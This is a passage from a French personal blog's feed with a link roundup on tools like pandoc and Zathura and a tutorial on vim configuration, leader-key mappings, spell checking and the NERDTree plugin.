&lt;/div&gt;</content></entry><entry><title>Vrac #14</title><link href="http://blog.namok.be/2014-04-01-vrac-14.html" rel="alternate"/><published>2014-04-01T00:00:00+02:00</published><updated>2014-04-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-04-01:/2014-04-01-vrac-14.html</id><summary type="html">Le jour de ma découverte de pandoc et du markdown.</summary><content type="html">&lt;p&gt;&lt;img alt="14_by_1510-d50t1rn.jpg" src="/images//14_by_1510-d50t1rn.jpg" title="14_by_1510-d50t1rn.jpg, avr. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://eiskis.net/eiskis/"&gt;eiskis&lt;/a&gt; a écrit&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;le web&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;en entier une nuit où il s&amp;rsquo;ennuyait !&lt;/p&gt;
&lt;p&gt;Il nous propose pas mal d&amp;rsquo;outils dont un &lt;a href="http://servantframework.com/"&gt;générateur de site assez sympa&lt;/a&gt;. L&amp;rsquo;installation se résume en: download, décompresse et utilise ! Pour publier un billet, il suffit de le déposer dans le répertoire &lt;code&gt;pages&lt;/code&gt; (répertoire dans lequel, on peut créer l&amp;rsquo;arborescence que l&amp;rsquo;on veut). &lt;em&gt;servant&lt;/em&gt; est capable d’interpréter plein de type de fichier. Il est donc possible de déposer des fichiers txt, md, html…&lt;/p&gt;
&lt;p&gt;Si vous voulez pouvoir vous désinscrire d&amp;rsquo;un site… même s&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un site un peu collant, c&amp;rsquo;est &lt;a href="http://www.justdeleteme.me/"&gt;justdelete.me&lt;/a&gt; qui s&amp;rsquo;en charge. Le site vous expliquera la marche à suivre. Il vous dira même si c&amp;rsquo;est compliqué ou pas. Il ne faut donc pas hésiter à la consulter avant de s&amp;rsquo;inscrire aussi ;-)&lt;/p&gt;
&lt;p&gt;Je découvre &lt;a href="http://johnmacfarlane.net/pandoc/"&gt;pandoc&lt;/a&gt; par hasard… lorsqu&amp;rsquo;un collègue me présente &lt;a href="http://dr.jones.dk/"&gt;Jonas&lt;/a&gt; le mainteneur du paquet debian. &lt;a href="http://johnmacfarlane.net/pandoc/"&gt;pandoc&lt;/a&gt; est &lt;strong&gt;le&lt;/strong&gt; logiciel que je cherchais pour visualiser avec mise en forme ce que je suis en train d&amp;rsquo;écrire en syntaxe &lt;a href="http://daringfireball.net/projects/markdown/syntax"&gt;markdown&lt;/a&gt;. Il peut faire bcp plus (principalement dans les formats md, html et pdf)… et il peut être flattré ;-) C&amp;rsquo;est vraiment génial (&lt;em&gt;awesome&lt;/em&gt;) de passer de markdown à pdf facilement.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Depuis que j&amp;rsquo;ai découvert la syntaxe markdown, je suis conquis. Exit la syntaxe wiki.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lorsque j&amp;rsquo;ai fait la mise à jour de ma machine (mavie) &lt;code&gt;xpdf&lt;/code&gt; n&amp;rsquo;a plus daigné se lancer et comme je me rebute à utiliser &lt;a href="https://blogs.adobe.com/acroread/"&gt;Acroread&lt;/a&gt; comme lecteur pdf, j&amp;rsquo;ai trouvé &lt;a href="http://pwmt.org/projects/zathura/"&gt;Zathura&lt;/a&gt;. C&amp;rsquo;est un lecteur PDF ayant comme particularité d&amp;rsquo;utiliser les raccourcis « à la vim ». Pratique pour ceux qui utilisent &lt;a href="http://vim.org/"&gt;vim&lt;/a&gt;. Je me contente en général de &lt;code&gt;&amp;lt;number&amp;gt; g&lt;/code&gt; pour aller à une page et de &lt;code&gt;/&lt;/code&gt; pour une recherche (suivie de &lt;code&gt;n&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-42-Zathura.png" src="/images/screenshot-42-Zathura.png" title="screenshot-42-Zathura.png, avr. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Si vous voulez voir à quoi ressemble un site en différentes résolutions, &lt;a href="http://johnpolacek.github.io/Responsivator/"&gt;responsivator&lt;/a&gt; s&amp;rsquo;en charge pour vous… vous avez également la possibilité d&amp;rsquo;en faire des screenshots.&lt;/p&gt;
&lt;p&gt;Pour éviter de lire des pages de manuel (&lt;em&gt;man pages&lt;/em&gt;) et pour ne pas faire une recherche sur le net pour n&amp;rsquo;importe quoi. &lt;a href="https://github.com/chrisallenlane/cheat"&gt;Cheat&lt;/a&gt; permet d&amp;rsquo;obtenir rapidement des exemples d&amp;rsquo;utilisations d&amp;rsquo;une commande linux… le mieux est de compléter les pages avec ses propres exemples.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://eiskis.net/eiskis/"&gt;Eiskis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://servantframework.com/"&gt;Servant, générateur de site web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.justdeleteme.me/"&gt;justdelete.me&lt;/a&gt; ou comment m&amp;rsquo;effacer ?&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dr.jones.dk/"&gt;Jonas Jones&lt;/a&gt;, mainteneur &lt;a href="http://johnmacfarlane.net/pandoc/"&gt;pandoc&lt;/a&gt; pour debian&lt;/li&gt;
&lt;li&gt;&lt;a href="http://vim.org/"&gt;vim&lt;/a&gt; et un &lt;a href="2014-03-14-howto-vim.html"&gt;howto avançé&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pwmt.org/projects/zathura/"&gt;Zathura&lt;/a&gt;, lecteur pdf (libre et multi-plateforme)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://johnpolacek.github.io/Responsivator/"&gt;Responsivator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez DeviantArt par &lt;a href="http://1510.deviantart.com/art/14-303686195"&gt;1510&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Howto vim</title><link href="http://blog.namok.be/2014-03-14-howto-vim.html" rel="alternate"/><published>2014-03-14T00:00:00+01:00</published><updated>2014-03-14T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-03-14:/2014-03-14-howto-vim.html</id><summary type="html">vim c'est bien</summary><content type="html">&lt;p&gt;&lt;img alt="theseus_by_machiavellicro-d6yvpr3.jpg" src="/images/theseus_by_machiavellicro-d6yvpr3.jpg" title="theseus_by_machiavellicro-d6yvpr3.jpg, mar. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR&lt;sup id="fnref:tldr"&gt;&lt;a class="footnote-ref" href="#fn:tldr"&gt;2&lt;/a&gt;&lt;/sup&gt; vim c&amp;rsquo;est bien&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La première impression lorsque l&amp;rsquo;on commence avec &lt;em&gt;vim&lt;/em&gt; c&amp;rsquo;est qu&amp;rsquo;il est
difficile à prendre en main. Ce n&amp;rsquo;est pas faux ! &lt;/p&gt;
&lt;p&gt;— Comment générer une chaine aléatoire ?&lt;br&gt;
— Demander à un étudiant qui débute avec vim de quitter !&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;ai bien vite saisi le « coup des 3 modes », il m&amp;rsquo;a fallu du temps 
pour &lt;a href="http://namok.be/blog/index.php?post/2007/03/23/121-vim7-tabs"&gt;découvrir l&amp;rsquo;usage des onglets (&lt;em&gt;tabs&lt;/em&gt;)&lt;/a&gt; par exemple. Cet
éditeur est tellement riche qu&amp;rsquo;il demande un certain temps d&amp;rsquo;apprentissage. Une
fois que l&amp;rsquo;on a pris le temps de l&amp;rsquo;appréhender, ça va mieux ! &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Même si un programmeur va utiliser un IDE (environnement de développement intégré) pour développer du code, il devra cependant bien connaitre son éditeur de texte.  IDE et éditeur de texte sont deux outils incontournables de l&amp;rsquo;informaticien.&lt;br&gt;
Juste Leblanc &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Commençons donc par énoncer sa philosophie afin de l&amp;rsquo;appréhender beaucoup plus 
facilement. Je ne reviens sur ses 3 modes; &lt;code&gt;mode normal&lt;/code&gt;, &lt;code&gt;mode édition&lt;/code&gt; et 
&lt;code&gt;mode commande&lt;/code&gt; que pour dire que le &lt;code&gt;mode normal&lt;/code&gt; est, par définition, le mode dans lequel l&amp;rsquo;on se trouve le plus souvent possible. 
Le passage en &lt;code&gt;mode insertion&lt;/code&gt; se fait uniquement lorsque l&amp;rsquo;on veut insérer du
texte !  &lt;/p&gt;
&lt;p&gt;Les commandes vim peuvent être vues comme des appels de fonction ou simplement
comme pouvant être combinées un peu comme un nom suivi d&amp;rsquo;un verbe (les
compléments viendront ensuite).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;d&lt;/strong&gt; signifie &lt;em&gt;delete&lt;/em&gt;&lt;br&gt;
&lt;strong&gt;e&lt;/strong&gt; signifie aller jusqu&amp;rsquo;à la fin du mot&lt;/p&gt;
&lt;p&gt;→ &lt;strong&gt;de&lt;/strong&gt; signifie effacer jusqu&amp;rsquo;à la fin du mot&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;c&lt;/strong&gt; signifie &lt;em&gt;change&lt;/em&gt;&lt;br&gt;
&lt;strong&gt;i&lt;/strong&gt; signifie &lt;em&gt;inside&lt;/em&gt; (un peu comme un adjectif)&lt;br&gt;
&lt;strong&gt;(&lt;/strong&gt; signifie &lt;em&gt;parenthesis&lt;/em&gt;  &lt;/p&gt;
&lt;p&gt;→ &lt;strong&gt;ci(&lt;/strong&gt; signifie remplacer le contenu des parenthèses&lt;/p&gt;
&lt;p&gt;De plus &lt;strong&gt;.&lt;/strong&gt; permet de répéter la dernière commande d&amp;rsquo;édition (complète, pas un mouvement). &lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;entre la commande &lt;code&gt;Afoo&amp;lt;ESC&amp;gt;&lt;/code&gt;, j&amp;rsquo;insère en fin de ligne les trois
caractères &lt;em&gt;foo&lt;/em&gt; (le &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; me permettant de repasser en mode normal). 
Si ensuite j&amp;rsquo;entre la commande &lt;strong&gt;.&lt;/strong&gt;, n&amp;rsquo;importe où sur une
autre ligne, ça aura le même effet. &lt;a href="http://www.viemu.com/a-why-vi-vim.html"&gt;Un chouette exemple chez viEmu de la
merveilleuse commande . qu&amp;rsquo;il faut prendre la peine de lire&lt;/a&gt;.  &lt;/p&gt;
&lt;h2&gt;Quelques options de base&lt;/h2&gt;
&lt;p&gt;Sans être exhaustif (ce n&amp;rsquo;est pas le but), je partage quelques options qui ne
sont pas &lt;em&gt;self-compréhensible&lt;/em&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;set ignorecase
set smartcase 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette combinaison rend la &lt;strong&gt;recherche&lt;/strong&gt; plus efficace. 
Pour faire une recherche, il suffit d&amp;rsquo;entrer un &lt;em&gt;pattern&lt;/em&gt; (le mot que l&amp;rsquo;on
cherche) après le caractère &lt;code&gt;/&lt;/code&gt;. Si ce &lt;em&gt;pattern&lt;/em&gt; est écrit en minuscules, la
recherche ne sera pas sensible à la casse. Si, par contre, le &lt;em&gt;pattern&lt;/em&gt; contient des minuscules et des majuscules alors la recherche sera sensible à la casse. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;vim&lt;/em&gt; autorise l&amp;rsquo;utilisation des &lt;em&gt;regex&lt;/em&gt; (expressions régulières) dans ses
recherches. Les deux options suivantes permettent une meilleure prise en charge
des expressions régulières (d&amp;rsquo;après &lt;a href="http://stevelosh.com/blog/2010/09/coming-home-to-vim"&gt;Losh&lt;/a&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nnoremap / /\v
vnoremap / /\v
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Par défaut, lorsque l&amp;rsquo;on fait un &lt;em&gt;substitute&lt;/em&gt; (&lt;code&gt;:s/un/deux/&lt;/code&gt;), 
c&amp;rsquo;est la première occurrence qui est changée… alors que en général, 
on veut les changer toutes → &lt;code&gt;gdefault&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;— Il faut couper les lignes à 80 caractères ! &lt;br&gt;
— Ça c&amp;rsquo;est encore un truc de vieux &lt;em&gt;peys&lt;/em&gt; ! &lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;argumenterai pas sur l&amp;rsquo;usage en informatique (du moins une certaine informatique) de couper les lignes à 80 caractères. Que l&amp;rsquo;on veuille le faire ou pas, je conseille de jeter un œil sur l&amp;rsquo;aide de &lt;em&gt;vim&lt;/em&gt; au sujet du &lt;em&gt;wrapping&lt;/em&gt; ou&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;L&amp;rsquo;art de découper son texte !   &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;L&amp;rsquo;aide de &lt;em&gt;vim&lt;/em&gt; s&amp;rsquo;obtient par la commande &lt;code&gt;help&lt;/code&gt;,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;:help fo-table
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dès que vous avez lu, vous pouvez choisir les options qui vous plaisent pour les paramètres suivant. Pour ma part, je choisis (aujourd&amp;rsquo;hui):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;set wrap 
set textwidth=80
set colorcolumn=82
set formatoptions=qrn1j
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;leader key&lt;/h2&gt;
&lt;p&gt;Le deuxième usage non basique que propose &lt;em&gt;vim&lt;/em&gt; est de donner un clavier complet à l&amp;rsquo;utilisateur afin qu&amp;rsquo;il puisse le paramétrer comme il l&amp;rsquo;entend ! C&amp;rsquo;est l&amp;rsquo;utilisation de la &lt;strong&gt;« leader key »&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;Par défaut toute combinaison de touches après la touche &lt;code&gt;\&lt;/code&gt; aura l&amp;rsquo;effet défini par l&amp;rsquo;utilisateur.&lt;/p&gt;
&lt;p&gt;Par exemple si l&amp;rsquo;on a l&amp;rsquo;habitude de souligner une ligne d&amp;rsquo;autant de caractères
&lt;code&gt;=&lt;/code&gt; que de lettres dans la ligne (certains utilisateurs de la syntaxe &lt;em&gt;markdown&lt;/em&gt; font comme ça), on peut;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;faire une copie de la ligne (&lt;strong&gt;yy&lt;/strong&gt;) et la coller (&lt;strong&gt;p&lt;/strong&gt;);&lt;/li&gt;
&lt;li&gt;sélectionner toute la ligne (&lt;strong&gt;V&lt;/strong&gt;);&lt;/li&gt;
&lt;li&gt;remplacer tous les caractères sélectionnés par &lt;code&gt;=&lt;/code&gt; (&lt;strong&gt;r=&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La touche &lt;em&gt;leader&lt;/em&gt; me permet d&amp;rsquo;y associer le raccourci &lt;em&gt;1&lt;/em&gt; par exemple:
(&lt;code&gt;nnoremap&lt;/code&gt; permet de redéfinir une (combinaison) de touches en mode &lt;em&gt;normal&lt;/em&gt;,
&lt;code&gt;inoremap&lt;/code&gt; pour le mode &lt;em&gt;insert&lt;/em&gt; et &lt;code&gt;vnoremap&lt;/code&gt; pour le mode &lt;em&gt;visuel&lt;/em&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nnoremap &amp;lt;leader&amp;gt;1 yypVr=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Comme je lis et conçois assez bien que la touche &lt;code&gt;\&lt;/code&gt; n&amp;rsquo;est pas le meilleur
choix, je tente d&amp;rsquo;utiliser la touche &lt;code&gt;,&lt;/code&gt; pour ce faire. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;let mapleader=&amp;quot;,&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;avantage de cette fonctionnalité c&amp;rsquo;est de pouvoir ajouter un maximum de
raccourcis… l&amp;rsquo;inconvénient, c&amp;rsquo;est qu&amp;rsquo;il faudra les retenir… &lt;/p&gt;
&lt;h2&gt;Dictionnaire et correcteur orthographique&lt;/h2&gt;
&lt;p&gt;Si vous êtes comme moi, vous aimez bien &lt;strong&gt;écrire sans fautes&lt;/strong&gt; mais vous n&amp;rsquo;avez
pas la meilleure orthographe qu&amp;rsquo;il soit. Un coup de &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;spell spelllang=fr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;et vous signalez à vim de rendre le dictionnaire français disponible. Si vous ne l&amp;rsquo;avez pas, il le téléchargera pour vous. &lt;/p&gt;
&lt;p&gt;Pour demander la liste des mots corrects, c&amp;rsquo;est &lt;code&gt;z=&lt;/code&gt; sur le mot en question et 
pour parcourir le fichier en s&amp;rsquo;arrêtant sur les mots fautifs, c&amp;rsquo;est &lt;code&gt;]s&lt;/code&gt;. Pour
ajouter un mot au dictionnaire local, c&amp;rsquo;est &lt;code&gt;zg&lt;/code&gt;.  &lt;/p&gt;
&lt;p&gt;Personnellement, il m&amp;rsquo;arrive d&amp;rsquo;écrire un anglais … j&amp;rsquo;ajoute alors à mon &lt;code&gt;.vimrc&lt;/code&gt; la possibilité de passer d&amp;rsquo;un dictionnaire à l&amp;rsquo;autre… et éventuellement de désactiver cette correction orthographique lorsqu&amp;rsquo;elle me parrait inutile. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;quot; switch / toggle dictionary 
nnoremap &amp;lt;leader&amp;gt;ts :set spell!&amp;lt;cr&amp;gt;
nnoremap &amp;lt;leader&amp;gt;sfr :set spelllang=fr&amp;lt;cr&amp;gt;
nnoremap &amp;lt;leader&amp;gt;sen :set spelllang=en&amp;lt;cr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;TODO&lt;/strong&gt; Chercher un dictionnaire en orthographe réformée. &lt;/p&gt;
&lt;h2&gt;Mouvements&lt;/h2&gt;
&lt;p&gt;Pour se déplacer, les &lt;em&gt;flèches&lt;/em&gt; (semblent) fonctionnent très bien. Alors,
pourquoi s&amp;rsquo;embarrasser des touches &lt;em&gt;hjkl&lt;/em&gt; si ce n&amp;rsquo;est parce qu&amp;rsquo;elles m&amp;rsquo;évitent
de déplacer ma main&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. &lt;/p&gt;
&lt;p&gt;Simplement pour se rappeler que d&amp;rsquo;autres mouvements sont possibles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;f&lt;/code&gt; suivi d&amp;rsquo;un caractère pour m&amp;rsquo;emmener à la prochaine occurrence de celui-ci;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;%&lt;/code&gt; permet de trouver la parenthèse (ou accolade ou crochet ou …) fermante
correspondant à la première parenthèse (ou accolade ou … ) ouvrante trouvée …
même si elles sont imbriquées;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;H&lt;/code&gt;, &lt;code&gt;M&lt;/code&gt; et &lt;code&gt;L&lt;/code&gt; nous emmène directement en &lt;strong&gt;H&lt;/strong&gt;aut de l&amp;rsquo;écran, au &lt;strong&gt;M&lt;/strong&gt;ilieu
ou en bas (&lt;strong&gt;L&lt;/strong&gt;owest);&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zt&lt;/code&gt;, &lt;code&gt;zz&lt;/code&gt; et &lt;code&gt;zb&lt;/code&gt; ne changent pas la position du curseur mais &lt;em&gt;scrollent&lt;/em&gt; la vue pour que le curseur se retrouve en haut, au milieu ou en bas de l&amp;rsquo;écran;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*&lt;/code&gt; se place sur la prochaine occurrence du mot se trouvant sous le curseur;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Scinder sa fenêtre en plusieurs fenêtres (split)&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;vim&lt;/em&gt; permet de scinder (&lt;em&gt;split&lt;/em&gt;) la fenêtre en deux fenêtres ce qui permet de
parcourir deux fichiers en parallèle… fonctionnalité très pratique. Je ne parle que des &lt;em&gt;split&lt;/em&gt; verticaux, car je ne vois pas l&amp;rsquo;utilité d&amp;rsquo;un &lt;em&gt;split&lt;/em&gt; horizontal. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Attention de bien distinguer les notions de fenêtre (&lt;/em&gt;window&lt;em&gt;) et d&amp;rsquo;onglet
(&lt;/em&gt;tab&lt;em&gt;).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;aide de &lt;em&gt;vim&lt;/em&gt; me dit que je peux ouvrir une nouvelle fenêtre à l&amp;rsquo;aide de
&lt;code&gt;:vne[w]&lt;/code&gt;. J&amp;rsquo;ajoute donc un raccourci vers cette fonctionnalité.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nnoremap &amp;lt;leader&amp;gt;sn :vne&amp;lt;cr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Parfois, il est utile d&amp;rsquo;ouvrir une nouvelle fenêtre contenant le même fichier.
C&amp;rsquo;est la commande &lt;code&gt;:vsp[lit]&lt;/code&gt;. Dans ce cas, il faudra parfois passer d&amp;rsquo;une
fenêtre à l&amp;rsquo;autre… et là , ça devient ch#+@t car il faut passer par les
commandes &lt;em&gt;vim&lt;/em&gt; à coups de [Ctrl]. C&amp;rsquo;est également à ce moment que l&amp;rsquo;on repense
aux commandes de mouvements &lt;em&gt;jklm&lt;/em&gt;. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;nnoremap &amp;lt;leader&amp;gt;s :vsp&amp;lt;cr&amp;gt;
nnoremap &amp;lt;leader&amp;gt;sl &amp;lt;C-w&amp;gt;l
nnoremap &amp;lt;leader&amp;gt;sr &amp;lt;C-w&amp;gt;m
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Plugins&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;vim&lt;/em&gt; peut se munir d&amp;rsquo;une série de &lt;em&gt;plugins&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;Jusqu&amp;rsquo;à présent, j&amp;rsquo;utilisais peu cette fonctionnalité mais j&amp;rsquo;ai vu, au hasard du web, un &lt;em&gt;screenshot&lt;/em&gt; présentant un petit &lt;em&gt;split&lt;/em&gt; à gauche listant les
répertoires du répertoire courant… j&amp;rsquo;aime bien ça &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;3&lt;/a&gt;&lt;/sup&gt; ! &lt;/p&gt;
&lt;p&gt;Pour ça, il faut rendre l&amp;rsquo;utilisation des &lt;em&gt;plugins&lt;/em&gt; simples avec le &lt;em&gt;plugin&lt;/em&gt;
&lt;strong&gt;&lt;a href="http://github.com/tpope/vim-pathogen"&gt;pathogen&lt;/a&gt;&lt;/strong&gt;. Une fois installé, tous les autres &lt;em&gt;plugins&lt;/em&gt; s&amp;rsquo;installeront
facilement dans le répertoire &lt;code&gt;~/.vim/bundle&lt;/code&gt;. &lt;/p&gt;
&lt;h4&gt;plugin NerdTree&lt;/h4&gt;
&lt;p&gt;Le plugin &lt;a href="http://github.com/scrooloose/nerdtree"&gt;NERDTree&lt;/a&gt; permet d&amp;rsquo;afficher l&amp;rsquo;arborescence des fichiers
dans un petit &lt;em&gt;split&lt;/em&gt; à gauche. &lt;/p&gt;
&lt;p&gt;La doc m&amp;rsquo;explique comment permettre de l&amp;rsquo;afficher au lancement de &lt;em&gt;vim&lt;/em&gt; et ma
&lt;em&gt;leader key&lt;/em&gt; me permet de le faire apparaitre / disparaitre à loisir. &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;autocmd vimenter * NERDTree
nnoremap &amp;lt;leader&amp;gt;tree :NERDTreeToggle&amp;lt;cr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;NERDTree&lt;/em&gt; permet de &lt;em&gt;bookmarquer&lt;/em&gt; des fichiers dans le &lt;em&gt;split&lt;/em&gt;, de partager le même &lt;em&gt;split&lt;/em&gt; dans plusieurs onglets, … &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;br/&gt;
À ce stade, il reste à lire mon fichier &lt;code&gt;.vimrc&lt;/code&gt;… et plein d&amp;rsquo;autres pour se
donner une idée des « options qui vont bien ». &lt;/p&gt;
&lt;p&gt;Mon fichier &lt;code&gt;.vimrc&lt;/code&gt; (ainsi que d&amp;rsquo;autres fichiers de configuration) se trouve →
&lt;a href="http://github.com/pinkilla/dotfiles"&gt;github.com/Pinkilla/dotfiles&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://stevelosh.com/blog/2010/09/coming-home-to-vim"&gt;Steve Losh, Comming home to vim&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.viemu.com/a-why-vi-vim.html"&gt;Why, oh WHY, do those #?@! nutheads use vi?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html"&gt;Graphical cheat sheet&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.fedora-fr.org/metal3d/post/Correction-orthographique-et-grammaticale-avec-Vim"&gt;Correction orthographique et grammaticale avec vim&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://nvie.com/posts/how-i-boosted-my-vim/"&gt;How I boosted my vim&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Plugin &lt;a href="http://github.com/scrooloose/nerdtree"&gt;NERDTree&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Plugin &lt;a href="http://github.com/tpope/vim-pathogen"&gt;Pathogen&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;À lire aussi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://namok.be/blog/index.php?post/2007/03/23/121-vim7-tabs"&gt;Vim7, tbas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;On parle bien d&amp;rsquo;un clavier &lt;em&gt;azerty&lt;/em&gt; (ou &lt;em&gt;qwerty&lt;/em&gt;) car sur un clavier &lt;em&gt;bépo&lt;/em&gt; ça ne le fait pas trop.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:tldr"&gt;
&lt;p&gt;Too long; don&amp;rsquo;t read signale que le billet
n&amp;rsquo;est pas lu parce que trop long. J&amp;rsquo;en fait ici un résumé … très très résumé ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:tldr" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;C&amp;rsquo;est un peu ça qui m&amp;rsquo;a donné l&amp;rsquo;envie d&amp;rsquo;essayer un peu SublimeText… mais ça faisait à nouveau des (autres) raccourcis
à apprendre !&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le Moyen Âge</title><link href="http://blog.namok.be/2014-02-21-moyen-age.html" rel="alternate"/><published>2014-02-21T00:00:00+01:00</published><updated>2014-02-21T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-02-21:/2014-02-21-moyen-age.html</id><summary type="html">Le Moyen Âge</summary><content type="html">&lt;p&gt;&lt;img alt="7266dce724067064d44b74c740b88668-d670yg9.jpg" src="/images/7266dce724067064d44b74c740b88668-d670yg9.jpg" title="7266dce724067064d44b74c740b88668-d670yg9.jpg, fév. 2014"&gt;&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est encore le moyen âge là-bas ! De vieux trains avec des banquettes en bois …&lt;/p&gt;
